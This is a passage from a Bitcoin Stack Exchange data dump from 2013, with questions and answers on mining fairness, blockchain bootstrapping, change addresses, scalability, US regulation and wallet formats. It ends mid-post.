  <row Id="13007" PostTypeId="2" ParentId="13004" CreationDate="2013-08-29T05:11:56.173" Score="1" Body="&lt;p&gt;Let's say there are three miners on the network, with hashrates of 4 GH/s, 3 GH/s and 3 GH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With random behavior of blocks, 40% of blocks will be found by the first miner, 30% by the second, and 30% by the third.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without random behavior, 100% of blocks will be found by the first miner. This is bad for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Synchronization power is solely at the hands of the first miner, so he can attack the network even without majority hashrate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generated bitcoins will be given solely to the first miner, creating a perverse economic structure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since small miners get nothing, there is a huge barrier of entry, so most people will not bother mining, making the problem even worse.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We want that what everyone gets is proportional to what he gives. Not that one party will get everything.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-29T05:11:56.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13008" PostTypeId="1" AcceptedAnswerId="13016" CreationDate="2013-08-29T05:34:13.530" Score="1" ViewCount="2976" Body="&lt;p&gt;​&lt;strong&gt;Edit:&lt;/strong&gt;  Rewording this question to be more clear and concise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background Info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Was running bitcoin-qt .0.8.1 on osx mountain lion. &lt;/li&gt;&#xA;&lt;li&gt;experienced a kernel panic, likely from some conflict between mac ports and homebrew. Hardware was tested and does not seem to be the culprit.&lt;/li&gt;&#xA;&lt;li&gt;upon next restart of bitcoin client I have a corrupted database and eventually the entire blockchain needs reloading. &lt;/li&gt;&#xA;&lt;li&gt;only had a small amount of coins in wallet but was hoping to use them sooner than an entire blockchain download would take using the client (x days where x &gt;= 2).  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Restoring the relevant files in the data directory from the last&#xA;backup before the crash. Actually had one from that morning.  Did not&#xA;really work -- client would trying to verify the db and eventually&#xA;would crash.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Got the latest bootstrap.dat from torrent, and tried placing  in data&#xA;directory. This eventually sort-of worked after next two steps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Eventually imported wallet.dat at blockchain.info as a stop-gap, but it turned up a few bitcents short. I think because I had sent something to a wallet address before this happened and it hadn't synced yet.  I'll figure that one out once I'm fully synced, and if I ended up losing $5-10 worth of btc into the ether somewhere, I'll get over it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fixed the probable cause of kernel panic and reinstalled/upgraded to&#xA;latest 0.8.3 client and retried the above steps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Also had to pretty much nuke the data directory in order to get bootstrap working.  (renamed/moved actually just in case) Saved wallet.dat (encrypted) elsewhere.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point the bootstrap method seems to be working.  The client reports &lt;em&gt;​importing block from disk&lt;/em&gt;.  However, it soon becomes apparent that this method does not really make things any faster.  It seems to load the blockchain from my HDD at about the same rate it downloads from the network.  Also, latest update was apparently 13 weeks old, and those last 13 weeks make-up most of the payload...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for now I've got my old wallet imported onto electrum, and bitcoin-qt is back home chugging away finishing the download so hopefully I can find that change when it's done and be done with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OK, so what are my question(s)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Wy does it seem to take just as long for the client to import from the local HDD as it does from the p2p network?  If I were smart I would have put the bootstrap file on my SDD, but it appears that's not the case. But still, I'd assume it would be faster than from the cloud.  Any ideas? I don't remember if I have the 5200 or 7200RPM hdd; I probably just got a 52 since I was buying an SDD along with it.&lt;/li&gt;&#xA;&lt;li&gt;Any blockchain-scalability plans in order for future releases of bitcoin-qt?  Evidently this is growing faster than they expected.&lt;/li&gt;&#xA;&lt;li&gt;Anybody have a full working procedure for restoring data directory files when you have backups available?  Found a few ideas elsewhere on the net but nothing that worked.  My backup software keeps old versions of files so it's not too difficult to assemble a snapshot with the &lt;em&gt;/chainstate&lt;/em&gt; and &lt;em&gt;/block&lt;/em&gt; directory contents from some specific date.  But the client was barfing on this method.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks, hope that is somewhat improved.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="6321" LastEditDate="2013-08-29T17:44:11.510" LastActivityDate="2013-08-29T17:44:11.510" Title="Bitcoin-qt, OS X Mountain Lion, blockchains, and bootstrap.dat" Tags="|blockchain|bitcoin-core|mac|bootstrap.dat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13009" PostTypeId="1" CreationDate="2013-08-29T11:15:41.517" Score="1" ViewCount="80" Body="&lt;p&gt;I know I can add recipients to a transaction on bitcoin-qt and I am looking for a similar way to do it on bitcoind CLI on linux and in bash script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using createrawtransaction and multi-sig but with no avail, I'm probably missing something, can someone enlighten me?&lt;/p&gt;&#xA;" OwnerUserId="6552" LastActivityDate="2016-01-21T22:55:38.343" Title="How can I add recipient on bitcoind CLI" Tags="|bitcoind|script|linux|multi-signature|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13010" PostTypeId="1" AcceptedAnswerId="13014" CreationDate="2013-08-29T11:17:37.773" Score="2" ViewCount="257" Body="&lt;p&gt;I use litecoin-qt, but my guess it'll be the same for Bitcoin or any other crypto coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new wallet, added an address and received the coins I expected. Then I created another wallet on different PC added another (non default) address, and sent some of the coins from first address mentioned to the second. I used 'sendfrom' command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now both wallets show exactly what I would expect, however on any online block explorer I see something strange. When I enter the first address, I see the transaction with the initial amount, but then another row that withdraw that amount. Clicking on the transaction I see that the second address is credited with the amount I sent, and the rest goes to an unfamiliar address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean or what am I missing?&#xA;Where's this 3rd address coming from?&#xA;I thought I know how things are working with cryptocoins, but now I'm completely lost.&lt;/p&gt;&#xA;" OwnerUserId="6551" LastEditorUserId="6551" LastEditDate="2013-08-29T15:26:19.353" LastActivityDate="2013-08-29T15:26:19.353" Title="spending some of the coins nullifies address' balance. where does the remainder goes?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-17T18:06:45.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="13012" PostTypeId="2" ParentId="10375" CreationDate="2013-08-29T13:59:10.680" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;coinmarketcap.com&lt;/a&gt; the market cap of the XRP is currently $606,293,939. However, according to &lt;a href=&quot;https://xrptalk.org/topic/234-ripple-market-capitalization/#entry1808&quot; rel=&quot;nofollow&quot;&gt;a post in xrptalk.org&lt;/a&gt; 90.91% hadn't been moving as of the 17th of August. This would calculate to a liquid market of approximately $55Mio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As more than 40% of the total XRP are still announced to be spread into the market, the value of XRP is bound to strongly fluctuate and should at this point be considered unsuited for storage of wealth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike the question suggests, the Ripple network is connected to the Bitcoin market and therefore can be used to pay at any shop that accepts Bitcoin payments. The source code of the server software has yet to be released though, so that even impartial parties suggest to wait before pouring value into the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguably the market cap of Ripple doesn't only derive from the value of XRP, but all different currencies that are being moved through the ripple network. Unfortunately, I have yet to find numbers on other liquidity and balances in the system.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-08-30T20:57:07.557" LastActivityDate="2013-08-30T20:57:07.557" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13013" PostTypeId="2" ParentId="7346" CreationDate="2013-08-29T15:05:12.070" Score="0" Body="&lt;p&gt;FinCEN is still looking at what regulations if any will be pushed on to bitcoin industry. Like it or not and folks can stomp their feet, hold their breath until they are blue in their face but there is no doubt regulatory authority will be pushed on Bitcoin Industry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR- They could make it illegal. Going back to the civil war the US has outlawed alternative currency (my term) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question the Money Transmitter Regulatory Association and State regulations should be your guide. Different types of transactions fall under MSB rules/regs. In general there are likely going to be around 45 states that will require some type of regulatory oversight and licensing. Some will only care if the transaction means funds will be held in a balance or stored value account. some will say only the exchanges will need to be licensed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our company is working on that stuff now plus ways to monitor coins to prove it is not the proceed of a crime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a bitcoin to be relevant in the coming months and years it will unfortunately need to be regulated. Banks, businesses etc. don't want to be put in the position of accepting bitcoin that was received for selling drugs, illegal weapons, child porn etc. Because that puts them in the position of helping to launder funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So WE the People need to come to terms with some things. We need to work hard to ensure that any regulatory authority is correct and not too cumbersome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe with every fiber of my being that the bitcoin community/industry can make bitcoin FAR (as in light years) ahead of cash as far as ensuring illicit use doesn't become the major factor. Cash is a low tech piece of paper. Bitcoin has everything I need as a compliance officer to ensure that when Cathy wants to buy something with her coins that the btc involved were not the proceeds of crime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And make no mistake- the criminal element is there and they are some of the loudest voices (or their proxies) calling to resist any kind of regulatory oversight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my hope that the btc community starts to reach out to their political representatives and news media to present the case that btc is safe. VERY safe. People may scoff but they'll listen. We just need to voice our concerns politely and factually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC and be more revolutionary than anyone thought possible. We just need to make sure we all do the right thing. &lt;/p&gt;&#xA;" OwnerUserId="6188" LastActivityDate="2013-08-29T15:05:12.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13014" PostTypeId="2" ParentId="13010" CreationDate="2013-08-29T15:11:53.847" Score="3" Body="&lt;p&gt;As you may know, transactions have inputs and outputs. The outputs give the addresses to which coins are being sent, and the inputs link back to outputs of the prior transactions that gave the coins to this transaction's sender, thus forming a chain. Anyone on the network can step along this chain to verify that all the coins in circulation legitimately got to their present owners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it easier to verify the chain, the Bitcoin protocol has a rule that each input must spend all the coins that were in the output that it links to. (I am presuming that Litecoin is the same.) So if the smallest (or only) transaction to your address had&#xA;an output of 150 LTC, then you have to spend 150 LTC. But since you only really want to spend 45 LTC, your wallet gives the transaction a second output that sends the remaining 105 LTC back to you, as &quot;change&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than sending the change back to the same address that is spending the coins, some wallets choose to generate a new address and send the change there. I am not exactly sure why; perhaps it's to help obscure what addresses belong to whom, for privacy. But in any case, you should find that your wallet holds the private key to this new address. The 105  coins are still yours, they're just at a different address.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-08-29T15:18:45.147" LastActivityDate="2013-08-29T15:18:45.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13015" PostTypeId="1" AcceptedAnswerId="13019" CreationDate="2013-08-29T15:20:16.627" Score="6" ViewCount="2091" Body="&lt;p&gt;As I understand, every transaction in the bitcoin network is stored into one huge &quot;chain&quot;. What happens when bitcoin gets more popular and there will be millions of transactions per minute? Doesn't the blockchain grow &quot;too big&quot;?&lt;/p&gt;&#xA;" OwnerUserId="6554" LastEditorUserId="5406" LastEditDate="2013-08-30T18:49:49.293" LastActivityDate="2013-08-30T18:49:49.293" Title="What will happen when bitcoin's popularity multiplies and the number of transactions explodes?" Tags="|blockchain|scalability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13016" PostTypeId="2" ParentId="13008" CreationDate="2013-08-29T17:00:03.020" Score="3" Body="&lt;p&gt;Bitcoin-qt verifies the entire blockchain the first time it starts, to be sure that all the transactions are properly signed, and all the blocks certify an appropriate amount of computation (proof-of-work).  This ensures, for instance, that nobody is feeding you a fraudulent bootstrap.dat.  Depending on the speed of your computer and network, this verification might be the bottleneck, instead of the download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not really any way around this if you want total confidence in your copy of the blockchain.  The bitcoin-qt client generally is designed for greater security at the cost of performance.  There are other &quot;thin&quot; clients that are less paranoid, and are willing to trust the blockchain they get to a greater extent, but there is a security tradeoff.  Whether you think the tradeoff is acceptable is up to you; many people do.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-08-29T17:00:03.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13017" PostTypeId="2" ParentId="7346" CreationDate="2013-08-29T17:17:03.610" Score="3" Body="&lt;p&gt;I recently co-authored an article that contains some background information to your question.  William B. Fleming and Joseph Evans, Bitcoiners in the Courtroom Part I: Government Oversight, Ford. Corp. L. Forum (Aug. 20, 2013)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gagespencer.com/firm-news/Bitcoiners-in-the-Courtroom-Part-I.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoiners in the Courtroom: Government Oversight (PDF)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fordhamcorporatecenter.org/2013/08/20/bitcoiners-in-the-court-room-part-i-government-oversight/.&quot; rel=&quot;nofollow&quot;&gt;Bitcoiners in the Courtroom: Government Oversight (TXT)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6556" LastActivityDate="2013-08-29T17:17:03.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13018" PostTypeId="2" ParentId="7342" CreationDate="2013-08-29T18:26:53.533" Score="0" Body="&lt;p&gt;yes, stop-loss or stop limit are offered by BitKonan &lt;a href=&quot;https://bitkonan.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitkonan.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but market must be liquid enough to make this function working&lt;/p&gt;&#xA;" OwnerUserId="6558" LastActivityDate="2013-08-29T18:26:53.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13019" PostTypeId="2" ParentId="13015" CreationDate="2013-08-29T18:37:49.283" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1747/5406&quot;&gt;Bitcoin Block Size - What are the rules?&lt;/a&gt; each block can be up to 1MB per size and contain roughly 2400 transactions. As transaction blocks are supposed to be found every ten minutes, this would mean that 14400 transactions per hour or 4 transactions per second could be handled. &#xA;If there should be more transactions sent they would compete for inclusion into the blocks. Transactions with smaller fees would gain priority by aging and would at some point be included at times of fewer transactions. People that require their transactions to arrive quickly would attach bigger transaction fees for faster inclusion. At some point microtransactions would cost more than the amount of value they transport and/or would have to wait very long. Perhaps some transactions would move off the blockchain,  some e-wallet services already allow their users to transfer balances to other users of the service for free and without wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol as it is today would not be able to sustain a transaction volume of millions per minute (although that is too big a number, even &lt;a href=&quot;http://corporate.visa.com/about-visa/technology-index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;VISA only has 150 million transactions per day&lt;/a&gt;, which are about 100k per minute). The &lt;a href=&quot;http://blockchain.info/charts/n-transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin network is currently averaging just above 60000 transactions per day&lt;/a&gt;, so this is already about 1/6 of what the network can handle with the current block size limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, apparently a significant amount of transactions are generated by gambling, so I am unsure how pressing the matter really is for the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Reading more about the &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow noreferrer&quot;&gt;scalability of the system&lt;/a&gt; I learned that the bitcoin network could scale to more than 40000 tps on today's hardware. The regular users would probably not store the complete blockchain anymore, but only the unspent outputs without the entire history of the transactions.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-08-29T21:37:04.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13021" PostTypeId="1" AcceptedAnswerId="13022" CreationDate="2013-08-30T02:11:36.113" Score="5" ViewCount="985" Body="&lt;p&gt;I've been told by many people that bitcoins are fully legal to use as currency, but not legal to convert to USD and use as US currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true? If so, what references back this up? If not, what references deny it?&lt;/p&gt;&#xA;" OwnerDisplayName="user6561" LastActivityDate="2013-11-25T23:54:10.900" Title="Is it legal to convert bitcoin to USD?" Tags="|legal|currencies|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13022" PostTypeId="2" ParentId="13021" CreationDate="2013-08-30T02:24:32.707" Score="9" Body="&lt;p&gt;I'd actually like to see a reference to someone saying that it's illegal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...because it's legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot;&gt;FinCEN guidance&lt;/a&gt; establishes who must register with government and when one must pay taxes (sell bitcoin for USD, pay taxes on gains).&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-08-30T02:24:32.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13025" PostTypeId="1" AcceptedAnswerId="13027" CreationDate="2013-08-30T14:10:11.917" Score="1" ViewCount="315" Body="&lt;p&gt;Is it possible to make changes in Bitcoin protocol and then start to mine faster than 1 block in 10 minutes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when someone makes those changes and &quot;mines offline&quot; blockchain that is longer than current one. And after that changes protocol back to &quot;normal&quot; and appears back to online network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="6554" LastEditorUserId="105" LastEditDate="2013-08-30T15:25:50.583" LastActivityDate="2013-12-06T13:00:27.183" Title="Is it possible to change to protocol, mine lots of blocks offline, and then change it back?" Tags="|blockchain|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13026" PostTypeId="1" AcceptedAnswerId="13030" CreationDate="2013-08-30T14:27:56.137" Score="0" ViewCount="545" Body="&lt;p&gt;Is there a universal export format for wallet clients where users can use in multiple programs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the list of clients/apps/programs that support this format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to export my wallets to my other programs for a piece of mind. I'm particularly looking for cross compatibility for Android, Windows, and Mac.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-10-29T16:45:03.307" Title="Which Wallet clients support a universal export .wallet file?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13027" PostTypeId="2" ParentId="13025" CreationDate="2013-08-30T14:35:00.767" Score="5" Body="&lt;p&gt;Such an attack is not possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol contains a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;rule how to calculate the difficulty&lt;/a&gt; to succeed in mining a new transaction block. This difficulty expresses in the form that a hash must fulfil (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8806/what-is-difficulty-and-how-it-relates-to-target?rq=1&quot;&gt;number of leading zeroes&lt;/a&gt;) in order for other network participants to accept it as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no other way to arrive faster at a hash that fulfils the difficulty requirements than to try out as many as possible as fast as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you could easily reduce the difficulty requirement in your client's protocol and mine thousands of blocks every second, but these blocks would not be accepted by the other network participants. Firstly, of course, because you don't fulfill the difficulty and secondly, because the length of the blockchain is measured not in the number of blocks, but in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Generate_.22valid.22_blocks_with_a_lower_difficulty_than_normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;combined difficulty of the blocks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-08-30T14:35:00.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13028" PostTypeId="1" AcceptedAnswerId="13029" CreationDate="2013-08-30T14:58:56.713" Score="2" ViewCount="364" Body="&lt;p&gt;Just a stupid question to make sure I get this right ... am I correct to understand that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btct.co/security/S.MPOE-PT&quot; rel=&quot;nofollow&quot;&gt;S.MPOE-PT&lt;/a&gt; is a &quot;security&quot;, traded on the btct.co platform. The security is a passthrough for another security, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67535.0&quot; rel=&quot;nofollow&quot;&gt;S.MPOE&lt;/a&gt;, traded on another security platform &lt;a href=&quot;http://mpex.co/&quot; rel=&quot;nofollow&quot;&gt;MPEX&lt;/a&gt;. I am now a bit unclear whether S.MPOE shares represent either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ownership ow MPEX itself&lt;/li&gt;&#xA;&lt;li&gt;Or an actively-traded fund that ... does what exactly? Day trades BTC? Day trades other shares on MPEX?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's a been hard to follow for a newcomer, so I'd love if someone &lt;a href=&quot;http://www.reddit.com/r/explainlikeimfive/&quot; rel=&quot;nofollow&quot;&gt;ELI5&lt;/a&gt; and point out any gaps in my understanding.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2015-07-26T18:57:23.270" LastActivityDate="2015-07-26T18:57:23.270" Title="What is S.MPOE-PT?" Tags="|securities|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13029" PostTypeId="2" ParentId="13028" CreationDate="2013-08-30T15:13:53.313" Score="1" Body="&lt;p&gt;According to the description in &lt;a href=&quot;http://mpex.co/?mpsic=S.MPOE&quot; rel=&quot;nofollow&quot;&gt;http://mpex.co/?mpsic=S.MPOE&lt;/a&gt;, S.MPOE are shares in MPEx traded on MPEx itself. S.MPOE-PT are a passthrough to those shares traded on btct.co.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have linked to a forum thread discussing MPOE ETF, which is unrelated - it was a passthrough, traded on GLBSE, to a previous incarnation of MPEx shares, which apparently were privately issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MPOE (Mircea Popescu's Options Emporium), by the way, is the older name of MPEx (Mircea Popescu's Exchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your confusion seems to have been caused by being unaware of the interchangeability of MPOE and MPEx, and matching assets by their reference to &quot;MPOE&quot; without distinguishing how precisely they relate to MPOE/MPEx.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-08-30T15:35:13.933" LastActivityDate="2013-08-30T15:35:13.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13030" PostTypeId="2" ParentId="13026" CreationDate="2013-08-30T15:36:22.420" Score="1" Body="&lt;p&gt;There are a few different types of files which all contain the same basic information, an encrypted copy of private keys. In short there is no universal format yet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The satoshi client uses a wallet.dat file, but as far as I know only&#xA;armory supports that format.&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info and use uses an encrypted json file (wallet.aes.json)&lt;/li&gt;&#xA;&lt;li&gt;Multibit uses a .wallet format which I believe is unencrypted.&lt;br&gt;&#xA;Multibit also has the ability to import encrypted json files for&lt;br&gt;&#xA;private keys (i.e. from Blockhain's backups)    &lt;/li&gt;&#xA;&lt;li&gt;Electrum uses a   .electrum file, but you can import and dump private    keys using&lt;br&gt;&#xA;command line functionality.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would seem that the easiest and most universal format for now would be an aes encrypted json file for exporting private keys.&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2013-08-30T15:36:22.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13031" PostTypeId="1" AcceptedAnswerId="13057" CreationDate="2013-08-30T18:19:03.027" Score="4" ViewCount="440" Body="&lt;p&gt;I was mining in a LTC P2Pool pool and found a share.&lt;br&gt;&#xA;As I understand it, if the conditions outlined in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12797/why-is-my-p2pool-share-not-payed-out&quot;&gt;this answer&lt;/a&gt; would have been satisfied, I should have received a payout from the next block found by the P2Pool network. As a matter of fact, It seems I &lt;a href=&quot;http://explorer.litecoin.net/address/LW9y3UiicfRPBZcniMrCrVhHnR2ygnWVe9&quot; rel=&quot;nofollow noreferrer&quot;&gt;received&lt;/a&gt; a payout from the next &lt;em&gt;six&lt;/em&gt; blocks (from 414890 to 415003).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I failed to find the rationale behind this. Could you please enlighten me?&lt;/p&gt;&#xA;" OwnerUserId="6569" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-08-31T20:57:45.287" Title="Why am I getting payouts from 6 blocks with only 1 share found with a LTC P2Pool pool?" Tags="|transactions|litecoin|p2pool|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13032" PostTypeId="1" CreationDate="2013-08-30T19:24:05.370" Score="0" ViewCount="965" Body="&lt;p&gt;I know bitcoinstore.com is the heaven for bitcoin loving geeks to buy their gadget. However I'd like to find similar electronics stores in European Union area to avoid extra custom fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any bitcoin-friendly stores in EU? &lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="132" LastEditDate="2014-01-13T14:51:50.450" LastActivityDate="2014-08-12T14:37:36.550" Title="European online stores selling electronics" Tags="|merchants|ecommerce|europe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13033" PostTypeId="2" ParentId="13032" CreationDate="2013-08-30T21:02:49.817" Score="2" Body="&lt;p&gt;Through websearch I have found &lt;a href=&quot;https://e4btc.com/&quot; rel=&quot;nofollow&quot;&gt;e4btc.com&lt;/a&gt;. They seem to be based in Berlin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have any further experience or information about their offers, nor am I affiliated to them in any way.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-08-30T21:02:49.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13034" PostTypeId="1" AcceptedAnswerId="13038" CreationDate="2013-08-30T21:10:03.927" Score="9" ViewCount="3544" Body="&lt;p&gt;The title stands for itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only tool for doing so I know of is the bitcoind daemon, but it is for from user-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A web-tool in JS would be ideal or a simple CLI tool with clear documentation.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2015-09-27T15:51:24.257" Title="Is there a user-friendly tool for creating and signing raw transactions?" Tags="|signature|raw-data|raw-transaction|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13035" PostTypeId="1" CreationDate="2013-08-30T21:17:25.420" Score="3" ViewCount="856" Body="&lt;p&gt;Unless Bitcoin is replaced with a Bitcoin-compatible currency, I believe that all holders of Bitcoin will be out of luck when the day comes that it is obsoleted by a superior system, as inevitably happens in almost everything electronic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally if a new commodity type is introduced into the market (such as the discovery of petroleum), the market will naturally find a new equilibrium, and this is not a problem. Normally when a new fiat currency is created, there is usually an exchange policy in which holders of the old currency are issued units of the new currency, but I don't see how this is possible in systems like Bitcoin. Nobody is going to want to trade units of the superior new system for units of the inferior system if they know that everyone in the world is going to stop accepting the old system soon, so everyone holding Bitcoin at that time will find that their savings are suddenly worthless if they cannot somehow be &quot;brought in&quot; to the new system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we know, the entire Bitcoin infrastructure is limited in currency units, which is normally an advantage because it prevents &quot;money printing&quot;. Because of this, the only ways I can think of 